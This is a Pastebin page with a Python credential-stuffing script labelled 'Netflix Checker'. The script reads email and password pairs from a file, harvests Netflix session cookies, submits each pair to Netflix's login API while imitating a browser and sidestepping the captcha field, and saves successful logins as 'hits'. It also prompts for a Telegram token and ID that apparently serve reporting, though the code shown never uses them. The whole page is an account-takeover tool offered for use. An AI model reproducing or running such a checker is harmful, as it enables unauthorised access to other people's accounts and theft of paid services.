Xirot

Untitled

Dec 16th, 2024
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.55 KB | None | 0 0
  1. import requests
  2. import os
  3. from datetime import datetime
  4. import re
  5. import colorama
  6. from colorama import Fore, Style
  7. import time
  8.  
  9. # Initialize colorama
  10. colorama.init()
  11.  
  12. # Custom variables replaced with colorama constants
  13. E = Fore.RED + Style.BRIGHT
  14. G = Fore.GREEN + Style.BRIGHT
  15. W = Fore.WHITE + Style.BRIGHT # Custom (White)
  16. Z = Fore.RED
  17. X = Fore.YELLOW
  18. Z1 = Fore.RED + Style.DIM
  19. F = Fore.GREEN + Style.DIM
  20. A = Fore.BLUE + Style.DIM
  21. C = Fore.MAGENTA + Style.DIM
  22. B = Fore.YELLOW + Style.BRIGHT # Orange (approximation)
  23. Y = Fore.CYAN
  24. M = Fore.WHITE + Style.BRIGHT
  25. S = Fore.YELLOW
  26.  
  27. custom = 0
  28. hit = 0
  29. bad = 0
  30.  
  31. # Print introductory information with colorama
  32. print(f'''{B}{F}━━━━━━━━━━━━━⧪━━━━━━━━━━━━━{B}
  33. |{Z}[+] TeleGram : {B} Undefined |
  34. |{Z}[+] Tool : {B} Netflix Checker |
  35. {F}━━━━━━━━━━━━━⧪━━━━━━━━━━━━━━━━━━ ''')
  36.  
  37. # Enter token and ID
  38. token = input(f' {F}({C}1{F}) {Y} Enter Token{F} : ' + Z)
  39. print(X + ' ═════════════════════════════════ ')
  40. ID = input(f' {F}({C}2{F}) {Y} Enter ID {F} : ' + Z)
  41.  
  42. ses = requests.Session()
  43.  
  44. # Function to load credentials from a file
  45. def load_credentials():
  46. credentials = []
  47. try:
  48. with open("credentials.txt", "r", encoding="utf-8") as file:
  49. for line in file:
  50. line = line.strip()
  51. if not line:
  52. continue
  53. print(f"Reading line: {line}")
  54. try:
  55. email, password = line.split(",")
  56. credentials.append((email.strip(), password.strip()))
  57. except ValueError:
  58. print(f"Skipping invalid line: {line}")
  59. except Exception as e:
  60. print(f"Error reading credentials: {e}")
  61. return credentials
  62.  
  63. # Function to load proxies from a file
  64. def load_proxies():
  65. proxies = []
  66. try:
  67. with open("proxies.txt", "r", encoding="utf-8") as file:
  68. for line in file:
  69. line = line.strip()
  70. if line:
  71. proxies.append(line)
  72. except Exception as e:
  73. print(f"Error reading proxies: {e}")
  74. return proxies
  75.  
  76. # Function to load token and ID from respective files
  77. def load_token_and_id():
  78. global token, ID
  79. try:
  80. with open("token.txt", "r", encoding="utf-8") as file:
  81. token = file.readline().strip()
  82. except FileNotFoundError:
  83. print("Token file not found, using input value.")
  84.  
  85. try:
  86. with open("id.txt", "r", encoding="utf-8") as file:
  87. ID = file.readline().strip()
  88. except FileNotFoundError:
  89. print("ID file not found, using input value.")
  90.  
  91. # Function to handle the Netflix login and cookie fetching
  92. def Ahmed():
  93. while True:
  94. try:
  95. req = ses.get("https://www.netflix.com/ye/", headers={
  96. 'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
  97. 'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  98. 'Cache-Control': "max-age=0",
  99. 'sec-ch-ua': "\"Not-A.Brand\";v=\"99\", \"Chromium\";v=\"124\"",
  100. 'sec-ch-ua-mobile': "?0",
  101. 'sec-ch-ua-platform': "\"Linux\"",
  102. 'upgrade-insecure-requests': "1",
  103. 'accept-language': "ar-EG,ar;q=0.9,en-US;q=0.8,en;q=0.7",
  104. })
  105. dt = req.headers['date']
  106. fn = datetime.strptime(dt, "%a, %d %b %Y %H:%M:%S %Z").strftime("%a+%b+%d+%Y+%H:%M:%S+GMT").replace(":", "%3A")
  107.  
  108. cookies = req.cookies.get_dict()
  109. authURL = re.search(r'"authURL":"([^\"]+)"', req.text).group(1).replace("\\x3D", "=")
  110. esn = re.search(r'"esn":"([^\"]+)"', req.text).group(1)
  111.  
  112. cookies.update({
  113. 'netflix-sans-normal-3-loaded': 'true',
  114. 'netflix-sans-bold-3-loaded': 'true',
  115. 'OptanonConsent': f'isGpcEnabled=0&datestamp={fn}%2B0300+(%D8%A7%D9%84%D8%AA%D9%88%D9%82%D9%8A%D8%AA+%D8%A7%D9%84%D8%B9%D8%B1%D8%A8%D9%8A+%D8%A7%D9%84%D8%B1%D8%B3%D9%85%D9%8A)&version=202411.1.0&browserGpcFlag=0&isIABGlobal=false&hosts=&interactionCount=1&isAnonUser=1&landingPath=NotLandingPage&AwaitingReconsent=false&groups=C0001%3A1%2CC0002%3A1%2CC0003%3A1%2CC0004%3A1',
  116. })
  117.  
  118. # Clean up previous files if they exist
  119. try:
  120. os.remove("Tokes.txt")
  121. os.remove("Netflix_Coki.txt")
  122. except FileNotFoundError:
  123. pass
  124.  
  125. # Save the token and cookies
  126. with open("Tokes.txt", "w", encoding="utf-8") as f:
  127. f.write(f"{authURL}|{esn}\n")
  128. with open("Netflix_Coki.txt", "w", encoding="utf-8") as t:
  129. t.write(str(cookies))
  130.  
  131. break # Exit the loop once successful
  132.  
  133. except Exception as e:
  134. print(f"Error: {e}")
  135. time.sleep(2) # Wait before retrying
  136.  
  137. # Function to handle login attempts
  138. def Login(email, pas):
  139. global hit, custom, bad
  140. try:
  141. with open("Tokes.txt", "r", encoding="utf-8") as f:
  142. for line in f:
  143. authURL, esn = str(line.strip()).split("|")
  144.  
  145. with open("Netflix_Coki.txt", "r", encoding="utf-8") as f:
  146. for line in f:
  147. cookies = eval(line.strip())
  148.  
  149. # Prepare login request data
  150. data = f'param=%7B%22action%22%3A%22loginAction%22%2C%22fields%22%3A%7B%22nextPage%22%3A%22%22%2C%22rememberMe%22%3A%22true%22%2C%22countryCode%22%3A%22%2B967%22%2C%22countryIsoCode%22%3A%22YE%22%2C%22userLoginId%22%3A%22{email}%22%2C%22password%22%3A%22{pas}%22%2C%22recaptchaResponseToken%22%3A%22%22%2C%22recaptchaError%22%3A%22LOAD_TIMED_OUT%22%2C%22previousMode%22%3A%22%22%7D%7D&allocations[66189]=1&esn={esn}&authURL={authURL}'
  151.  
  152. response = requests.post(
  153. 'https://www.netflix.com/api/aui/pathEvaluator/web/%5E2.0.0?landingURL=/ye/login&landingOrigin=https://www.netflix.com&inapp=false&languages=ar-YE&netflixClientPlatform=browser&flow=websiteSignUp&mode=login&method=call&falcor_server=0.1.0&callPath=%5B%22aui%22,%22moneyball%22,%22next%22%5D',
  154. cookies=cookies,
  155. headers={
  156. 'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
  157. 'Content-Type': 'application/x-www-form-urlencoded',
  158. },
  159. data=data,
  160. )
  161.  
  162. if "The email and password you entered do not match" in response.text:
  163. print(f"{E}[FAILED] Invalid credentials for {email}")
  164. bad += 1
  165. else:
  166. print(f"{G}[HIT] Successfully logged in with {email}")
  167. hit += 1
  168. with open("good_credentials.txt", "a", encoding="utf-8") as f:
  169. f.write(f"{email},{pas}\n")
  170.  
  171. except Exception as e:
  172. print(f"Error: {e}")
  173. bad += 1
  174.  
  175. # Start reading credentials and checking
  176. def main():
  177. global custom, hit, bad
  178. credentials = load_credentials()
  179. proxies = load_proxies()
  180. load_token_and_id()
  181.  
  182. print(f"{F}Starting login process...")
  183.  
  184. # Process credentials and try logging in
  185. for email, pas in credentials:
  186. Login(email, pas)
  187.  
  188. print(f"{G}Total Hits: {hit}, Bad: {bad}")
  189.  
  190. if __name__ == "__main__":
  191. main()
  192.  
Advertisement
Add Comment
Please, Sign In to add comment